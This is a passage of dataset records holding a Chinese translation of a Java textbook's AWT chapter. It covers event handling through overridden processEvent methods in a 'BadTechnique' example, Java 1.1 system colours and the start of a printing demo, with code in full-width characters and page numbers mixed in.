ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ）｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｅ）； ４４２ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｉｎｄｏｗ Ｃｌｏｓｉｎｇ＂）； Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "它是一个底部有一个按钮的彩色的面板，并且它由利用接收器类为每一个 单独的事件来引发捕捉所有发生在它之上的事件，除了那些在激活面板过载的老式的 ｐｒｏｃｅｓｓＥｖｅｎｔ（）方法 （注意它应该同样调用 ｓｕｐｅｒ．ｐｒｏｃｅｓｓＥｖｅｎｔ（））。"},
    {"text": "一则它展示了 大多数开窗口的系统中设计上的瑕疵：它相当的难以去单击和释放鼠标，除非移动它，并且当我们实际上正 试图用鼠标单击在某物体上时开窗口的会常常认为我们是在拖动。"},
    {"text": "一个解决这个问题的方案是使用 ｍｏｕｓｅＰｒｅｓｓｅｄ（）鼠标按下方法和 ｍｏｕｓｅＲｅｌｅａｓｅｄ（）鼠标释放方法去代替 ｍｏｕｓｅＣｌｉｃｋｅｄ（）鼠标单击方法，然后 判断是否去调用我们自己的以时间和 ４ 个像素的鼠标滞后作用的“ｍｏｕｓｅＲｅａｌｌｙＣｌｉｃｋｅｄ（）真实的鼠标单击” 方法。"},
    {"text": "５． 蹩脚的组件继承 另一种做法是调用 ｅｎａｂｌｅＥｖｅｎｔ（） 方法，并将与希望控制的事件对应的模型传递给它（许多参考书中都曾提 及这种做法）。"},
    {"text": "这样做会造成那些事件被发送至老式方法（尽管它们对 Ｊａｖａ １．１ 来说是新的），并采用象 ｐｒｏｃｅｓｓＦｏｃｕｓＥｖｅｎｔ（）这样的名字。"},
    {"text": "／／： ＢａｄＴｅｃｈｎｉｑｕｅ．ｊａｖａ ／／ Ｉｔ＇ｓ ｐｏｓｓｉｂｌｅ ｔｏ ｏｖｅｒｒｉｄｅ ｃｏｍｐｏｎｅｎｔｓ ｔｈｉｓ ｗａｙ， ／／ ｂｕｔ ｔｈｅ ｌｉｓｔｅｎｅｒ ａｐｐｒｏａｃｈ ｉｓ ｍｕｃｈ ｂｅｔｔｅｒ， ｓｏ ／／ ｗｈｙ ｗｏｕｌｄ ｙｏｕ？ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊；"},
    {"text": "ｃｌａｓｓ Ｄｉｓｐｌａｙ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＥＶＥＮＴ ＝ ０， ＣＯＭＰＯＮＥＮＴ ＝ １， ＭＯＵＳＥ ＝ ２， ＭＯＵＳＥ＿ＭＯＶＥ ＝ ３， ４４３ ＦＯＣＵＳ ＝ ４， ＫＥＹ ＝ ５， ＡＣＴＩＯＮ ＝ ６， ＬＡＳＴ ＝ ７；"},
    {"text": "ｐｕｂｌｉｃ Ｓｔｒｉｎｇ［］ ｅｖｎｔ； Ｄｉｓｐｌａｙ（） ｛ ｅｖｎｔ ＝ ｎｅｗ Ｓｔｒｉｎｇ［ＬＡＳＴ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＬＡＳＴ； ｉ＋＋） ｅｖｎｔ［ｉ］ ＝ ｎｅｗ Ｓｔｒｉｎｇ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｈｏｗ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＬＡＳＴ； ｉ＋＋） ｇ．ｄｒａｗＳｔｒｉｎｇ（ｅｖｎｔ［ｉ］， ０， １０ ＊ ｉ ＋ １０）； ｝ ｝ ｃｌａｓｓ ＥｎａｂｌｅｄＰａｎｅｌ ｅｘｔｅｎｄｓ Ｐａｎｅｌ ｛ Ｃｏｌｏｒ ｃ； ｉｎｔ ｉｄ； Ｄｉｓｐｌａｙ ｄｉｓｐｌａｙ ＝ ｎｅｗ Ｄｉｓｐｌａｙ（）； ｐｕｂｌｉｃ ＥｎａｂｌｅｄＰａｎｅｌ（ｉｎｔ ｉ， Ｃｏｌｏｒ ｍｃ） ｛ ｉｄ ＝ ｉ； ｃ ＝ ｍｃ； ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ａｄｄ（ｎｅｗ ＭｙＢｕｔｔｏｎ（）， ＢｏｒｄｅｒＬａｙｏｕｔ．ＳＯＵＴＨ）；"},
    {"text": "／／ Ｔｙｐｅ ｃｈｅｃｋｉｎｇ ｉｓ ｌｏｓｔ． Ｙｏｕ ｃａｎ ｅｎａｂｌｅ ａｎｄ ／／ ｐｒｏｃｅｓｓ ｅｖｅｎｔｓ ｔｈａｔ ｔｈｅ ｃｏｍｐｏｎｅｎｔ ｄｏｅｓｎ＇ｔ ／／ ｃａｐｔｕｒｅ： ｅｎａｂｌｅＥｖｅｎｔｓ（ ／／ Ｐａｎｅｌ ｄｏｅｓｎ＇ｔ ｈａｎｄｌｅ ｔｈｅｓｅ： ＡＷＴＥｖｅｎｔ．ＡＣＴＩＯＮ＿ＥＶＥＮＴ＿ＭＡＳＫ ｜ ＡＷＴＥｖｅｎｔ．ＡＤＪＵＳＴＭＥＮＴ＿ＥＶＥＮＴ＿ＭＡＳＫ ｜ ＡＷＴＥｖｅｎｔ．ＩＴＥＭ＿ＥＶＥＮＴ＿ＭＡＳＫ ｜ ＡＷＴＥｖｅｎｔ．ＴＥＸＴ＿ＥＶＥＮＴ＿ＭＡＳＫ ｜ ＡＷＴＥｖｅｎｔ．ＷＩＮＤＯＷ＿ＥＶＥＮＴ＿ＭＡＳＫ ｜ ／／ Ｐａｎｅｌ ｃａｎ ｈａｎｄｌｅ ｔｈｅｓｅ： ＡＷＴＥｖｅｎｔ．ＣＯＭＰＯＮＥＮＴ＿ＥＶＥＮＴ＿ＭＡＳＫ ｜ ＡＷＴＥｖｅｎｔ．ＦＯＣＵＳ＿ＥＶＥＮＴ＿ＭＡＳＫ ｜ ＡＷＴＥｖｅｎｔ．ＫＥＹ＿ＥＶＥＮＴ＿ＭＡＳＫ ｜ ＡＷＴＥｖｅｎｔ．ＭＯＵＳＥ＿ＥＶＥＮＴ＿ＭＡＳＫ ｜ ＡＷＴＥｖｅｎｔ．ＭＯＵＳＥ＿ＭＯＴＩＯＮ＿ＥＶＥＮＴ＿ＭＡＳＫ ｜ ＡＷＴＥｖｅｎｔ．ＣＯＮＴＡＩＮＥＲ＿ＥＶＥＮＴ＿ＭＡＳＫ）； ／／ Ｙｏｕ ｃａｎ ｅｎａｂｌｅ ａｎ ｅｖｅｎｔ ｗｉｔｈｏｕｔ ／／ ｏｖｅｒｒｉｄｉｎｇ ｉｔｓ ｐｒｏｃｅｓｓ ｍｅｔｈｏｄ． ｝ ／／ Ｔｏ ｅｌｉｍｉｎａｔｅ ｆｌｉｃｋｅｒ： ｐｕｂｌｉｃ ｖｏｉｄ ｕｐｄａｔｅ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｐａｉｎｔ（ｇ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｓｅｔＣｏｌｏｒ（ｃ）； Ｄｉｍｅｎｓｉｏｎ ｓ ＝ ｇｅｔＳｉｚｅ（）； ｇ．ｆｉｌｌＲｅｃｔ（０， ０， ｓ．ｗｉｄｔｈ， ｓ．ｈｅｉｇｈｔ）； ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｂｌａｃｋ）； ４４４ ｄｉｓｐｌａｙ．ｓｈｏｗ（ｇ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｏｃｅｓｓＥｖｅｎｔ（ＡＷＴＥｖｅｎｔ ｅ） ｛ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＥＶＥＮＴ］＝ ｅ．ｔｏＳｔｒｉｎｇ（）； ｒｅｐａｉｎｔ（）； ｓｕｐｅｒ．ｐｒｏｃｅｓｓＥｖｅｎｔ（ｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｏｃｅｓｓＣｏｍｐｏｎｅｎｔＥｖｅｎｔ（ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ ｅ） ｛ ｓｗｉｔｃｈ（ｅ．ｇｅｔＩＤ（）） ｛ ｃａｓｅ ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ．ＣＯＭＰＯＮＥＮＴ＿ＭＯＶＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＣＯＭＰＯＮＥＮＴ］ ＝ ＂Ｃｏｍｐｏｎｅｎｔ ｍｏｖｅｄ＂； ｂｒｅａｋ； ｃａｓｅ ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ．ＣＯＭＰＯＮＥＮＴ＿ＲＥＳＩＺＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＣＯＭＰＯＮＥＮＴ］ ＝ ＂Ｃｏｍｐｏｎｅｎｔ ｒｅｓｉｚｅｄ＂； ｂｒｅａｋ； ｃａｓｅ ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ．ＣＯＭＰＯＮＥＮＴ＿ＨＩＤＤＥＮ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＣＯＭＰＯＮＥＮＴ］ ＝ ＂Ｃｏｍｐｏｎｅｎｔ ｈｉｄｄｅｎ＂； ｂｒｅａｋ； ｃａｓｅ ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ．ＣＯＭＰＯＮＥＮＴ＿ＳＨＯＷＮ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＣＯＭＰＯＮＥＮＴ］ ＝ ＂Ｃｏｍｐｏｎｅｎｔ ｓｈｏｗｎ＂； ｂｒｅａｋ； ｄｅｆａｕｌｔ： ｝ ｒｅｐａｉｎｔ（）； ／／ Ｍｕｓｔ ａｌｗａｙｓ ｒｅｍｅｍｂｅｒ ｔｏ ｃａｌｌ ｔｈｅ ＂ｓｕｐｅｒ＂ ／／ ｖｅｒｓｉｏｎ ｏｆ ｗｈａｔｅｖｅｒ ｙｏｕ ｏｖｅｒｒｉｄｅ： ｓｕｐｅｒ．ｐｒｏｃｅｓｓＣｏｍｐｏｎｅｎｔＥｖｅｎｔ（ｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｏｃｅｓｓＦｏｃｕｓＥｖｅｎｔ（ＦｏｃｕｓＥｖｅｎｔ ｅ） ｛ ｓｗｉｔｃｈ（ｅ．ｇｅｔＩＤ（）） ｛ ｃａｓｅ ＦｏｃｕｓＥｖｅｎｔ．ＦＯＣＵＳ＿ＧＡＩＮＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＦＯＣＵＳ］ ＝ ＂ＦＯＣＵＳ ｇａｉｎｅｄ＂； ｂｒｅａｋ； ｃａｓｅ ＦｏｃｕｓＥｖｅｎｔ．ＦＯＣＵＳ＿ＬＯＳＴ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＦＯＣＵＳ］ ＝ ＂ＦＯＣＵＳ ｌｏｓｔ＂； ｂｒｅａｋ； ｄｅｆａｕｌｔ： ｝ ｒｅｐａｉｎｔ（）； ｓｕｐｅｒ．ｐｒｏｃｅｓｓＦｏｃｕｓＥｖｅｎｔ（ｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｏｃｅｓｓＫｅｙＥｖｅｎｔ（ＫｅｙＥｖｅｎｔ ｅ） ｛ ｓｗｉｔｃｈ（ｅ．ｇｅｔＩＤ（）） ｛ ｃａｓｅ ＫｅｙＥｖｅｎｔ．ＫＥＹ＿ＰＲＥＳＳＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＫＥＹ］ ＝ ４４５ ＂ＫＥＹ ｐｒｅｓｓｅｄ： ＂； ｂｒｅａｋ； ｃａｓｅ ＫｅｙＥｖｅｎｔ．ＫＥＹ＿ＲＥＬＥＡＳＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＫＥＹ］ ＝ ＂ＫＥＹ ｒｅｌｅａｓｅｄ： ＂； ｂｒｅａｋ； ｃａｓｅ ＫｅｙＥｖｅｎｔ．ＫＥＹ＿ＴＹＰＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＫＥＹ］ ＝ ＂ＫＥＹ ｔｙｐｅｄ： ＂； ｂｒｅａｋ； ｄｅｆａｕｌｔ： ｝ ｉｎｔ ｃｏｄｅ ＝ ｅ．ｇｅｔＫｅｙＣｏｄｅ（）； ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＫＥＹ］ ＋＝ ＫｅｙＥｖｅｎｔ．ｇｅｔＫｅｙＴｅｘｔ（ｃｏｄｅ）； ｒｅｐａｉｎｔ（）； ｓｕｐｅｒ．ｐｒｏｃｅｓｓＫｅｙＥｖｅｎｔ（ｅ）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｏｃｅｓｓＭｏｕｓｅＥｖｅｎｔ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｓｗｉｔｃｈ（ｅ．ｇｅｔＩＤ（）） ｛ ｃａｓｅ ＭｏｕｓｅＥｖｅｎｔ．ＭＯＵＳＥ＿ＣＬＩＣＫＥＤ： ｒｅｑｕｅｓｔＦｏｃｕｓ（）； ／／ Ｇｅｔ ＦＯＣＵＳ ｏｎ ｃｌｉｃｋ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＝ ＂ＭＯＵＳＥ ｃｌｉｃｋｅｄ＂；"},
    {"text": "ｃａｓｅ ＭｏｕｓｅＥｖｅｎｔ．ＭＯＵＳＥ＿ＰＲＥＳＳＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＝ ＂ＭＯＵＳＥ ｐｒｅｓｓｅｄ＂；"},
    {"text": "ｃａｓｅ ＭｏｕｓｅＥｖｅｎｔ．ＭＯＵＳＥ＿ＲＥＬＥＡＳＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＝ ＂ＭＯＵＳＥ ｒｅｌｅａｓｅｄ＂；"},
    {"text": "ｃａｓｅ ＭｏｕｓｅＥｖｅｎｔ．ＭＯＵＳＥ＿ＥＮＴＥＲＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＝ ＂ＭＯＵＳＥ ｅｎｔｅｒｅｄ＂；"},
    {"text": "ｃａｓｅ ＭｏｕｓｅＥｖｅｎｔ．ＭＯＵＳＥ＿ＥＸＩＴＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＝ ＂ＭＯＵＳＥ ｅｘｉｔｅｄ＂；"},
    {"text": "ｄｅｆａｕｌｔ： ｝ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ］ ＋＝ ＂， ｘ ＝ ＂ ＋ ｅ．ｇｅｔＸ（） ＋ ＂， ｙ ＝ ＂ ＋ ｅ．ｇｅｔＹ（）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｏｃｅｓｓＭｏｕｓｅＭｏｔｉｏｎＥｖｅｎｔ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｓｗｉｔｃｈ（ｅ．ｇｅｔＩＤ（）） ｛ ４４６ ｃａｓｅ ＭｏｕｓｅＥｖｅｎｔ．ＭＯＵＳＥ＿ＤＲＡＧＧＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ＿ＭＯＶＥ］ ＝ ＂ＭＯＵＳＥ ｄｒａｇｇｅｄ＂；"},
    {"text": "ｃａｓｅ ＭｏｕｓｅＥｖｅｎｔ．ＭＯＵＳＥ＿ＭＯＶＥＤ： ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ＿ＭＯＶＥ］ ＝ ＂ＭＯＵＳＥ ｍｏｖｅｄ＂；"},
    {"text": "ｄｅｆａｕｌｔ： ｝ ｄｉｓｐｌａｙ．ｅｖｎｔ［Ｄｉｓｐｌａｙ．ＭＯＵＳＥ＿ＭＯＶＥ］ ＋＝ ＂， ｘ ＝ ＂ ＋ ｅ．ｇｅｔＸ（） ＋ ＂， ｙ ＝ ＂ ＋ ｅ．ｇｅｔＹ（）；"},
    {"text": "ｒｅｐａｉｎｔ（）； ｓｕｐｅｒ．ｐｒｏｃｅｓｓＭｏｕｓｅＭｏｔｉｏｎＥｖｅｎｔ（ｅ）； ｝ ｝ ｃｌａｓｓ ＭｙＢｕｔｔｏｎ ｅｘｔｅｎｄｓ Ｂｕｔｔｏｎ ｛ ｉｎｔ ｃｌｉｃｋＣｏｕｎｔｅｒ； Ｓｔｒｉｎｇ ｌａｂｅｌ ＝ ＂＂； ｐｕｂｌｉｃ ＭｙＢｕｔｔｏｎ（） ｛ ｅｎａｂｌｅＥｖｅｎｔｓ（ＡＷＴＥｖｅｎｔ．ＡＣＴＩＯＮ＿ＥＶＥＮＴ＿ＭＡＳＫ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｇｒｅｅｎ）； Ｄｉｍｅｎｓｉｏｎ ｓ ＝ ｇｅｔＳｉｚｅ（）； ｇ．ｆｉｌｌＲｅｃｔ（０， ０， ｓ．ｗｉｄｔｈ， ｓ．ｈｅｉｇｈｔ）； ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｂｌａｃｋ）； ｇ．ｄｒａｗＲｅｃｔ（０， ０， ｓ．ｗｉｄｔｈ － １， ｓ．ｈｅｉｇｈｔ － １）； ｄｒａｗＬａｂｅｌ（ｇ）； ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｄｒａｗＬａｂｅｌ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ＦｏｎｔＭｅｔｒｉｃｓ ｆｍ ＝ ｇ．ｇｅｔＦｏｎｔＭｅｔｒｉｃｓ（）； ｉｎｔ ｗｉｄｔｈ ＝ ｆｍ．ｓｔｒｉｎｇＷｉｄｔｈ（ｌａｂｅｌ）； ｉｎｔ ｈｅｉｇｈｔ ＝ ｆｍ．ｇｅｔＨｅｉｇｈｔ（）； ｉｎｔ ａｓｃｅｎｔ ＝ ｆｍ．ｇｅｔＡｓｃｅｎｔ（）； ｉｎｔ ｌｅａｄｉｎｇ ＝ ｆｍ．ｇｅｔＬｅａｄｉｎｇ（）； ｉｎｔ ｈｏｒｉｚＭａｒｇｉｎ ＝ （ｇｅｔＳｉｚｅ（）．ｗｉｄｔｈ － ｗｉｄｔｈ）／２； ｉｎｔ ｖｅｒＭａｒｇｉｎ ＝ （ｇｅｔＳｉｚｅ（）．ｈｅｉｇｈｔ － ｈｅｉｇｈｔ）／２； ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｒｅｄ）； ｇ．ｄｒａｗＳｔｒｉｎｇ（ｌａｂｅｌ， ｈｏｒｉｚＭａｒｇｉｎ， ｖｅｒＭａｒｇｉｎ ＋ ａｓｃｅｎｔ ＋ ｌｅａｄｉｎｇ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｏｃｅｓｓＡｃｔｉｏｎＥｖｅｎｔ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｃｌｉｃｋＣｏｕｎｔｅｒ＋＋； ｌａｂｅｌ ＝ ＂ｃｌｉｃｋ ＃＂ ＋ ｃｌｉｃｋＣｏｕｎｔｅｒ ＋ ＂ ＂ ＋ ｅ．ｔｏＳｔｒｉｎｇ（）； ｒｅｐａｉｎｔ（）； ｓｕｐｅｒ．ｐｒｏｃｅｓｓＡｃｔｉｏｎＥｖｅｎｔ（ｅ）； ４４７ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＢａｄＴｅｃｈｎｉｑｕｅ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ ＢａｄＴｅｃｈｎｉｑｕｅ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２，２））； ａｄｄ（ｎｅｗ ＥｎａｂｌｅｄＰａｎｅｌ（１， Ｃｏｌｏｒ．ｃｙａｎ））； ａｄｄ（ｎｅｗ ＥｎａｂｌｅｄＰａｎｅｌ（２， Ｃｏｌｏｒ．ｌｉｇｈｔＧｒａｙ））； ａｄｄ（ｎｅｗ ＥｎａｂｌｅｄＰａｎｅｌ（３， Ｃｏｌｏｒ．ｙｅｌｌｏｗ））； ／／ Ｙｏｕ ｃａｎ ａｌｓｏ ｄｏ ｉｔ ｆｏｒ Ｗｉｎｄｏｗｓ： ｅｎａｂｌｅＥｖｅｎｔｓ（ＡＷＴＥｖｅｎｔ．ＷＩＮＤＯＷ＿ＥＶＥＮＴ＿ＭＡＳＫ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｏｃｅｓｓＷｉｎｄｏｗＥｖｅｎｔ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｅ）； ｉｆ（ｅ．ｇｅｔＩＤ（） ＝＝ ＷｉｎｄｏｗＥｖｅｎｔ．ＷＩＮＤＯＷ＿ＣＬＯＳＩＮＧ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｉｎｄｏｗ Ｃｌｏｓｉｎｇ＂）； Ｓｙｓｔｅｍ．ｅｘｉｔ（０）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＢａｄＴｅｃｈｎｉｑｕｅ（）； ｆ．ｓｅｔＴｉｔｌｅ（＂Ｂａｄ Ｔｅｃｈｎｉｑｕｅ＂）； ｆ．ｓｅｔＳｉｚｅ（７００，７００）； ｆ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "１ ３ ． １ ７ Ｊ ａ ｖ ａ １ ． １ 用户接口 Ａ Ｐ Ｉ Ｊａｖａ １．１ 版同样增加了一些重要的新功能，包括焦点遍历，桌面色彩访问，打印“沙箱内”及早期的剪贴板 支持。"},
    {"text": "各种名字的意义是不言而喻的：ｄｅｓｋｔｏｐ，ａｃｔｉｖｅＣａｐｔｉｏｎ， ａｃｔｉｖｅＣａｐｔｉｏｎＴｅｘｔ，ａｃｔｉｖｅＣａｐｔｉｏｎＢｏｒｄｅｒ， ｉｎａｃｔｉｖｅＣａｐｔｉｏｎ， ｉｎａｃｔｉｖｅＣａｐｔｉｏｎＴｅｘｔ， ｉｎａｃｔｉｖｅＣａｐｔｉｏｎＢｏｒｄｅｒ， ｗｉｎｄｏｗ， ｗｉｎｄｏｗＢｏｒｄｅｒ， ｗｉｎｄｏｗＴｅｘｔ， ｍｅｎｕ，ｍｅｎｕＴｅｘｔ，ｔｅｘｔ， ｔｅｘｔＴｅｘｔ， ｔｅｘｔＨｉｇｈｌｉｇｈｔ， ｔｅｘｔＨｉｇｈｌｉｇｈｔＴｅｘｔ，ｔｅｘｔＩｎａｃｔｉｖｅＴｅｘｔ，ｃｏｎｔｒｏｌ， ｃｏｎｔｒｏｌＴｅｘｔ， ｃｏｎｔｒｏｌＨｉｇｈｌｉｇｈｔ， ｃｏｎｔｒｏｌＬｔＨｉｇｈｌｉｇｈｔ，ｃｏｎｔｒｏｌＳｈａｄｏｗ ，ｃｏｎｔｒｏｌＤｋＳｈａｄｏｗ， ｓｃｒｏｌｌｂａｒ， ｉｎｆｏ（用于帮助）以及 ｉｎｆｏＴｅｘｔ （用于帮助文字）。"},
    {"text": "此外，它也对打印支持 进行了测试： ／／： ＰｒｉｎｔＤｅｍｏ．ｊａｖａ ／／ Ｐｒｉｎｔｉｎｇ ｗｉｔｈ Ｊａｖａ １．１ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＰｒｉｎｔＤｅｍｏ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ Ｂｕｔｔｏｎ ｐｒｉｎｔＴｅｘｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｐｒｉｎｔ Ｔｅｘｔ＂）， ｐｒｉｎｔＧｒａｐｈｉｃｓ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｐｒｉｎｔ Ｇｒａｐｈｉｃｓ＂）； ＴｅｘｔＦｉｅｌｄ ｒｉｎｇＮｕｍ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（３）； Ｃｈｏｉｃｅ ｆａｃｅｓ ＝ ｎｅｗ Ｃｈｏｉｃｅ（）； Ｇｒａｐｈｉｃｓ ｇ ＝ ｎｕｌｌ； Ｐｌｏｔ ｐｌｏｔ ＝ ｎｅｗ Ｐｌｏｔ３（）； ／／ Ｔｒｙ ｄｉｆｆｅｒｅｎｔ ｐｌｏｔｓ Ｔｏｏｌｋｉｔ ｔｋ ＝ Ｔｏｏｌｋｉｔ．ｇｅｔＤｅｆａｕｌｔＴｏｏｌｋｉｔ（）； ｐｕｂｌｉｃ ＰｒｉｎｔＤｅｍｏ（） ｛ ｒｉｎｇＮｕｍ．ｓｅｔＴｅｘｔ（＂３＂）； ｒｉｎｇＮｕｍ．ａｄｄＴｅｘｔＬｉｓｔｅｎｅｒ（ｎｅｗ ＲｉｎｇＬ（））； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＦｌｏｗＬａｙｏｕｔ（））； ｐｒｉｎｔＴｅｘｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＴＢＬ（））； ｐ．ａｄｄ（ｐｒｉｎｔＴｅｘｔ）； ｐ．ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ｆｏｎｔ：＂））； ｐ．ａｄｄ（ｆａｃｅｓ）； ｐｒｉｎｔＧｒａｐｈｉｃｓ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＧＢＬ（））； ｐ．ａｄｄ（ｐｒｉｎｔＧｒａｐｈｉｃｓ）； ｐ．ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ｒｉｎｇｓ：＂））； ｐ．ａｄｄ（ｒｉｎｇＮｕｍ）； ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ａｄｄ（ｐ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＮＯＲＴＨ）； ａｄｄ（ｐｌｏｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； Ｓｔｒｉｎｇ［］ ｆｏｎｔＬｉｓｔ ＝ ｔｋ．ｇｅｔＦｏｎｔＬｉｓｔ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｆｏｎｔＬｉｓｔ．ｌｅｎｇｔｈ； ｉ＋＋） ｆａｃｅｓ．ａｄｄ（ｆｏｎｔＬｉｓｔ［ｉ］）； ｆａｃｅｓ．ｓｅｌｅｃｔ（＂Ｓｅｒｉｆ＂）； ｝ ｃｌａｓｓ ＰｒｉｎｔＤａｔａ ｛ ｐｕｂｌｉｃ ＰｒｉｎｔＪｏｂ ｐｊ； ｐｕｂｌｉｃ ｉｎｔ ｐａｇｅＷｉｄｔｈ， ｐａｇｅＨｅｉｇｈｔ； ＰｒｉｎｔＤａｔａ（Ｓｔｒｉｎｇ ｊｏｂＮａｍｅ） ｛ ｐｊ ＝ ｇｅｔＴｏｏｌｋｉｔ（）．ｇｅｔＰｒｉｎｔＪｏｂ（ ＰｒｉｎｔＤｅｍｏ．ｔｈｉｓ， ｊｏｂＮａｍｅ， ｎｕｌｌ）； ｉｆ（ｐｊ ！ ＝ ｎｕｌｌ） ｛ ｐａｇｅＷｉｄｔｈ ＝ ｐｊ．ｇｅｔＰａｇｅＤｉｍｅｎｓｉｏｎ（）．ｗｉｄｔｈ； ｐａｇｅＨｅｉｇｈｔ＝ ｐｊ．ｇｅｔＰａｇｅＤｉｍｅｎｓｉｏｎ（）．ｈｅｉｇｈｔ； ｇ ＝ 